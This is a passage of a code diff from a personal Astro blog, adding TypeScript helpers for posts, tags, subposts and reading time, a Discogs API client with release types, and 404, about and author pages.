||||||
|
}
|
||||||
|
|
||||||
|
export async function getAllTags(): Promise<Map<string, number>> {
|
||||||
|
const posts = await getAllPosts()
|
||||||
|
return posts.reduce((acc, post) => {
|
||||||
|
post.data.tags?.forEach((tag) => {
|
||||||
|
acc.set(tag, (acc.get(tag) || 0) + 1)
|
||||||
|
})
|
||||||
|
return acc
|
||||||
|
}, new Map<string, number>())
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getAdjacentPosts(currentId: string): Promise<{
|
||||||
|
newer: CollectionEntry<'blog'> | null
|
||||||
|
older: CollectionEntry<'blog'> | null
|
||||||
|
parent: CollectionEntry<'blog'> | null
|
||||||
|
}> {
|
||||||
|
const allPosts = await getAllPosts()
|
||||||
|
|
||||||
|
if (isSubpost(currentId)) {
|
||||||
|
const parentId = getParentId(currentId)
|
||||||
|
const allPosts = await getAllPosts()
|
||||||
|
const parent = allPosts.find((post) => post.id === parentId) || null
|
||||||
|
|
||||||
|
const posts = await getCollection('blog')
|
||||||
|
const subposts = posts
|
||||||
|
.filter(
|
||||||
|
(post) =>
|
||||||
|
isSubpost(post.id) &&
|
||||||
|
getParentId(post.id) === parentId &&
|
||||||
|
!post.data.draft,
|
||||||
|
)
|
||||||
|
.sort((a, b) => a.data.date.valueOf() - b.data.date.valueOf())
|
||||||
|
|
||||||
|
const currentIndex = subposts.findIndex((post) => post.id === currentId)
|
||||||
|
if (currentIndex === -1) {
|
||||||
|
return { newer: null, older: null, parent }
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
newer:
|
||||||
|
currentIndex < subposts.length - 1 ? subposts[currentIndex + 1] : null,
|
||||||
|
older: currentIndex > 0 ? subposts[currentIndex - 1] : null,
|
||||||
|
parent,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const parentPosts = allPosts.filter((post) => !isSubpost(post.id))
|
||||||
|
const currentIndex = parentPosts.findIndex((post) => post.id === currentId)
|
||||||
|
|
||||||
|
if (currentIndex === -1) {
|
||||||
|
return { newer: null, older: null, parent: null }
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
newer: currentIndex > 0 ? parentPosts[currentIndex - 1] : null,
|
||||||
|
older:
|
||||||
|
currentIndex < parentPosts.length - 1
|
||||||
|
? parentPosts[currentIndex + 1]
|
||||||
|
: null,
|
||||||
|
parent: null,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getPostsByAuthor(
|
||||||
|
authorId: string,
|
||||||
|
): Promise<CollectionEntry<'blog'>[]> {
|
||||||
|
const posts = await getAllPosts()
|
||||||
|
return posts.filter((post) => post.data.authors?.includes(authorId))
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getPostsByTag(
|
||||||
|
tag: string,
|
||||||
|
): Promise<CollectionEntry<'blog'>[]> {
|
||||||
|
const posts = await getAllPosts()
|
||||||
|
return posts.filter((post) => post.data.tags?.includes(tag))
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getRecentPosts(
|
||||||
|
count: number,
|
||||||
|
): Promise<CollectionEntry<'blog'>[]> {
|
||||||
|
const posts = await getAllPosts()
|
||||||
|
return posts.slice(0, count)
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getSortedTags(): Promise<
|
||||||
|
{ tag: string; count: number }[]
|
||||||
|
> {
|
||||||
|
const tagCounts = await getAllTags()
|
||||||
|
return [...tagCounts.entries()]
|
||||||
|
.map(([tag, count]) => ({ tag, count }))
|
||||||
|
.sort((a, b) => {
|
||||||
|
const countDiff = b.count - a.count
|
||||||
|
return countDiff !== 0 ? countDiff : a.tag.localeCompare(b.tag)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getParentId(subpostId: string): string {
|
||||||
|
return subpostId.split('/')[0]
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getSubpostsForParent(
|
||||||
|
parentId: string,
|
||||||
|
): Promise<CollectionEntry<'blog'>[]> {
|
||||||
|
const posts = await getCollection('blog')
|
||||||
|
return posts
|
||||||
|
.filter(
|
||||||
|
(post) =>
|
||||||
|
!post.data.draft &&
|
||||||
|
isSubpost(post.id) &&
|
||||||
|
getParentId(post.id) === parentId,
|
||||||
|
)
|
||||||
|
.sort((a, b) => a.data.date.valueOf() - b.data.date.valueOf())
|
||||||
|
}
|
||||||
|
|
||||||
|
export function groupPostsByYear(
|
||||||
|
posts: CollectionEntry<'blog'>[],
|
||||||
|
): Record<string, CollectionEntry<'blog'>[]> {
|
||||||
|
return posts.reduce(
|
||||||
|
(acc: Record<string, CollectionEntry<'blog'>[]>, post) => {
|
||||||
|
const year = post.data.date.getFullYear().toString()
|
||||||
|
;(acc[year] ??= []).push(post)
|
||||||
|
return acc
|
||||||
|
},
|
||||||
|
{},
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function hasSubposts(postId: string): Promise<boolean> {
|
||||||
|
const subposts = await getSubpostsForParent(postId)
|
||||||
|
return subposts.length > 0
|
||||||
|
}
|
||||||
|
|
||||||
|
export function isSubpost(postId: string): boolean {
|
||||||
|
return postId.includes('/')
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getParentPost(
|
||||||
|
subpostId: string,
|
||||||
|
): Promise<CollectionEntry<'blog'> | null> {
|
||||||
|
if (!isSubpost(subpostId)) {
|
||||||
|
return null
|
||||||
|
}
|
||||||
|
|
||||||
|
const parentId = getParentId(subpostId)
|
||||||
|
const allPosts = await getAllPosts()
|
||||||
|
return allPosts.find((post) => post.id === parentId) || null
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function parseAuthors(authorIds: string[] = []) {
|
||||||
|
if (!authorIds.length) return []
|
||||||
|
|
||||||
|
const allAuthors = await getAllAuthors()
|
||||||
|
const authorMap = new Map(allAuthors.map((author) => [author.id, author]))
|
||||||
|
|
||||||
|
return authorIds.map((id) => {
|
||||||
|
const author = authorMap.get(id)
|
||||||
|
return {
|
||||||
|
id,
|
||||||
|
name: author?.data?.name || id,
|
||||||
|
avatar: author?.data?.avatar || '/static/logo.png',
|
||||||
|
isRegistered: !!author,
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getPostById(
|
||||||
|
postId: string,
|
||||||
|
): Promise<CollectionEntry<'blog'> | null> {
|
||||||
|
const allPosts = await getAllPostsAndSubposts()
|
||||||
|
return allPosts.find((post) => post.id === postId) || null
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getSubpostCount(parentId: string): Promise<number> {
|
||||||
|
const subposts = await getSubpostsForParent(parentId)
|
||||||
|
return subposts.length
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getCombinedReadingTime(postId: string): Promise<string> {
|
||||||
|
const post = await getPostById(postId)
|
||||||
|
if (!post) return readingTime(0)
|
||||||
|
|
||||||
|
let totalWords = calculateWordCountFromHtml(post.body)
|
||||||
|
|
||||||
|
if (!isSubpost(postId)) {
|
||||||
|
const subposts = await getSubpostsForParent(postId)
|
||||||
|
for (const subpost of subposts) {
|
||||||
|
totalWords += calculateWordCountFromHtml(subpost.body)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return readingTime(totalWords)
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function getPostReadingTime(postId: string): Promise<string> {
|
||||||
|
const post = await getPostById(postId)
|
||||||
|
if (!post) return readingTime(0)
|
||||||
|
|
||||||
|
const wordCount = calculateWordCountFromHtml(post.body)
|
||||||
|
return readingTime(wordCount)
|
||||||
|
}
|
||||||
140
src/lib/discogs.ts
Normal file
@@ -0,0 +1,140 @@
|
|||||||
|
export async function getReleaseData(discogsId: string) {
|
||||||
|
const res = await fetch(`https://api.discogs.com/releases/${discogsId}`, {
|
||||||
|
headers: {
|
||||||
|
'User-Agent': 'srizan.dev/1.0 +https://srizan.dev',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!res.ok) {
|
||||||
|
throw new Error(`Failed to fetch data from Discogs API: ${res.statusText}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
const data = await res.json() as DiscogsRelease;
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface DiscogsRelease {
|
||||||
|
title: string;
|
||||||
|
id: number;
|
||||||
|
artists: Artist[];
|
||||||
|
data_quality: string;
|
||||||
|
thumb: string;
|
||||||
|
community: Community;
|
||||||
|
companies: Company[];
|
||||||
|
country: string;
|
||||||
|
date_added: string;
|
||||||
|
date_changed: string;
|
||||||
|
estimated_weight: number;
|
||||||
|
extraartists: ExtraArtist[];
|
||||||
|
format_quantity: number;
|
||||||
|
formats: Format[];
|
||||||
|
genres: string[];
|
||||||
|
identifiers: Identifier[];
|
||||||
|
images: Image[];
|
||||||
|
labels: Label[];
|
||||||
|
lowest_price: number;
|
||||||
|
master_id: number;
|
||||||
|
master_url: string;
|
||||||
|
notes: string;
|
||||||
|
num_for_sale: number;
|
||||||
|
released: string;
|
||||||
|
released_formatted: string;
|
||||||
|
resource_url: string;
|
||||||
|
series: any[];
|
||||||
|
status: string;
|
||||||
|
styles: string[];
|
||||||
|
tracklist: Track[];
|
||||||
|
uri: string;
|
||||||
|
videos: Video[];
|
||||||
|
year: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Artist {
|
||||||
|
anv: string;
|
||||||
|
id: number;
|
||||||
|
join: string;
|
||||||
|
name: string;
|
||||||
|
resource_url: string;
|
||||||
|
role: string;
|
||||||
|
tracks: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Community {
|
||||||
|
contributors: Contributor[];
|
||||||
|
data_quality: string;
|
||||||
|
have: number;
|
||||||
|
rating: {
|
||||||
|
average: number;
|
||||||
|
count: number;
|
||||||
|
};
|
||||||
|
status: string;
|
||||||
|
submitter: Contributor;
|
||||||
|
want: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Contributor {
|
||||||
|
resource_url: string;
|
||||||
|
username: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Company {
|
||||||
|
catno: string;
|
||||||
|
entity_type: string;
|
||||||
|
entity_type_name: string;
|
||||||
|
id: number;
|
||||||
|
name: string;
|
||||||
|
resource_url: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ExtraArtist {
|
||||||
|
anv: string;
|
||||||
|
id: number;
|
||||||
|
join: string;
|
||||||
|
name: string;
|
||||||
|
resource_url: string;
|
||||||
|
role: string;
|
||||||
|
tracks: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Format {
|
||||||
|
descriptions: string[];
|
||||||
|
name: string;
|
||||||
|
qty: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Identifier {
|
||||||
|
type: string;
|
||||||
|
value: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Image {
|
||||||
|
height: number;
|
||||||
|
resource_url: string;
|
||||||
|
type: string;
|
||||||
|
uri: string;
|
||||||
|
uri150: string;
|
||||||
|
width: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Label {
|
||||||
|
catno: string;
|
||||||
|
entity_type: string;
|
||||||
|
id: number;
|
||||||
|
name: string;
|
||||||
|
resource_url: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Track {
|
||||||
|
duration: string;
|
||||||
|
position: string;
|
||||||
|
title: string;
|
||||||
|
type_: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface Video {
|
||||||
|
description: string;
|
||||||
|
duration: number;
|
||||||
|
embed: boolean;
|
||||||
|
title: string;
|
||||||
|
uri: string;
|
||||||
|
}
|
||||||
@@ -1,6 +1,37 @@
|
|||||||
import { type ClassValue, clsx } from "clsx"
|
import { type ClassValue, clsx } from 'clsx'
|
||||||
import { twMerge } from "tailwind-merge"
|
import { twMerge } from 'tailwind-merge'
|
||||||
|
|
||||||
export function cn(...inputs: ClassValue[]) {
|
export function cn(...inputs: ClassValue[]) {
|
||||||
return twMerge(clsx(inputs))
|
return twMerge(clsx(inputs))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function formatDate(date: Date) {
|
||||||
|
return Intl.DateTimeFormat('en-US', {
|
||||||
|
year: 'numeric',
|
||||||
|
month: 'long',
|
||||||
|
day: 'numeric',
|
||||||
|
}).format(date)
|
||||||
|
}
|
||||||
|
|
||||||
|
export function calculateWordCountFromHtml(
|
||||||
|
html: string | null | undefined,
|
||||||
|
): number {
|
||||||
|
if (!html) return 0
|
||||||
|
const textOnly = html.replace(/<[^>]+>/g, '')
|
||||||
|
return textOnly.split(/\s+/).filter(Boolean).length
|
||||||
|
}
|
||||||
|
|
||||||
|
export function readingTime(wordCount: number): string {
|
||||||
|
const readingTimeMinutes = Math.max(1, Math.round(wordCount / 200))
|
||||||
|
return `${readingTimeMinutes} min read`
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getHeadingMargin(depth: number): string {
|
||||||
|
const margins: Record<number, string> = {
|
||||||
|
3: 'ml-4',
|
||||||
|
4: 'ml-8',
|
||||||
|
5: 'ml-12',
|
||||||
|
6: 'ml-16',
|
||||||
|
}
|
||||||
|
return margins[depth] || ''
|
||||||
|
}
|
||||||
|
|||||||
29
src/pages/404.astro
Normal file
@@ -0,0 +1,29 @@
|
|||||||
|
---
|
||||||
|
import Breadcrumbs from '@/components/Breadcrumbs.astro'
|
||||||
|
import Link from '@/components/Link.astro'
|
||||||
|
import PageHead from '@/components/PageHead.astro'
|
||||||
|
import { buttonVariants } from '@/components/ui/button'
|
||||||
|
import Layout from '@/layouts/Layout.astro'
|
||||||
|
import { cn } from '@/lib/utils'
|
||||||
|
---
|
||||||
|
|
||||||
|
<Layout>
|
||||||
|
<PageHead slot="head" title="404" />
|
||||||
|
<Breadcrumbs items={[{ label: '???', icon: 'lucide:circle-help' }]} />
|
||||||
|
|
||||||
|
<section
|
||||||
|
class="flex flex-col items-center justify-center gap-y-4 text-center"
|
||||||
|
>
|
||||||
|
<div class="max-w-md">
|
||||||
|
<h1 class="mb-4 text-3xl font-medium">404: Page not found</h1>
|
||||||
|
<p class="prose">Oops! The page you're looking for doesn't exist.</p>
|
||||||
|
</div>
|
||||||
|
<Link
|
||||||
|
href="/"
|
||||||
|
class={cn(buttonVariants({ variant: 'outline' }), 'flex gap-x-1.5 group')}
|
||||||
|
>
|
||||||
|
<span class="transition-transform group-hover:-translate-x-1">←</span
|
||||||
|
> Go to home page
|
||||||
|
</Link>
|
||||||
|
</section>
|
||||||
|
</Layout>
|
||||||
27
src/pages/about.astro
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
---
|
||||||
|
import Breadcrumbs from '@/components/Breadcrumbs.astro'
|
||||||
|
import PageHead from '@/components/PageHead.astro'
|
||||||
|
import ProjectCard from '@/components/ProjectCard.astro'
|
||||||
|
import Layout from '@/layouts/Layout.astro'
|
||||||
|
import { getAllProjects } from '@/lib/data-utils'
|
||||||
|
|
||||||
|
const projects = await getAllProjects()
|
||||||
|
---
|
||||||
|
|
||||||
|
<Layout>
|
||||||
|
<PageHead slot="head" title="About" />
|
||||||
|
<Breadcrumbs items={[{ label: 'About', icon: 'lucide:info' }]} />
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<div class="min-w-full">
|
||||||
|
<div class="prose mb-8">
|
||||||
|
<p>how did we get here??????????</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h2 class="mb-4 text-2xl font-medium">Projects I'm most proud of</h2>
|
||||||
|
<div class="flex flex-col gap-4">
|
||||||
|
{projects.map((project) => <ProjectCard project={project} />)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</Layout>
|
||||||
59
src/pages/authors/[...id].astro
Normal file
@@ -0,0 +1,59 @@
|
|||||||
|
---
|
||||||
|
import AuthorCard from '@/components/AuthorCard.astro'
|
||||||
|
import BlogCard from '@/components/BlogCard.astro'
|
||||||
|
import Breadcrumbs from '@/components/Breadcrumbs.astro'
|
||||||
|
import PageHead from '@/components/PageHead.astro'
|
||||||
|
import Layout from '@/layouts/Layout.astro'
|
||||||
|
import { getAllAuthors, getPostsByAuthor } from '@/lib/data-utils'
|
||||||
|
|
||||||
|
export async function getStaticPaths() {
|
||||||
|
const authors = await getAllAuthors()
|
||||||
|
return authors.map((author) => ({
|
||||||
|
params: { id: author.id },
|
||||||
|
props: { author },
|
||||||
|
}))
|
||||||
|
}
|
||||||
|
|
||||||
|
export const prerender = true
|
||||||
|
|
||||||
|
const { author } = Astro.props
|
||||||
|
const authorPosts = await getPostsByAuthor(author.id)
|
||||||
|
---
|
||||||
|
|
||||||
|
<Layout>
|
||||||
|
<PageHead
|
||||||
|
slot="head"
|
||||||
|
title={`${author.data.name} (Author)`}
|
||||||
|
description={author.data.bio || `Profile of ${author.data.name}.`}
|
||||||
|
/>
|
||||||
|
<Breadcrumbs
|
||||||
|
items={[
|
||||||
|
{ href: '/authors', label: 'Authors', icon: 'lucide:users' },
|
||||||
|
{ label: author.data.name, icon: 'lucide:user' },
|
||||||
|
]}
|
||||||
|
/>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<AuthorCard author={author} />
|
||||||
|
</section>
|
||||||
|
<section class="flex flex-col gap-y-4">
|
||||||
|
<h2 class="text-2xl font-medium">Posts by {author.data.name}</h2>
|
||||||
|
{
|
||||||
|
authorPosts.length > 0 ? (
|
||||||
|
<ul class="flex flex-col gap-4">
|
||||||
|
{authorPosts
|
||||||
|
.filter((post) => !post.data.draft)
|
||||||
|
.map((post) => (
|
||||||
|
<li>
|
||||||
|
<BlogCard entry={post} />
|
||||||
|
</li>
|
||||||
|
))}
|
||||||
|
</ul>
|
||||||
|
) : (
|
||||||
|
<p class="text-muted-foreground">
|
||||||
|
No posts available from this author.
|
||||||
|
</p>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
</section>
|
||||||
|
</Layout>
|
||||||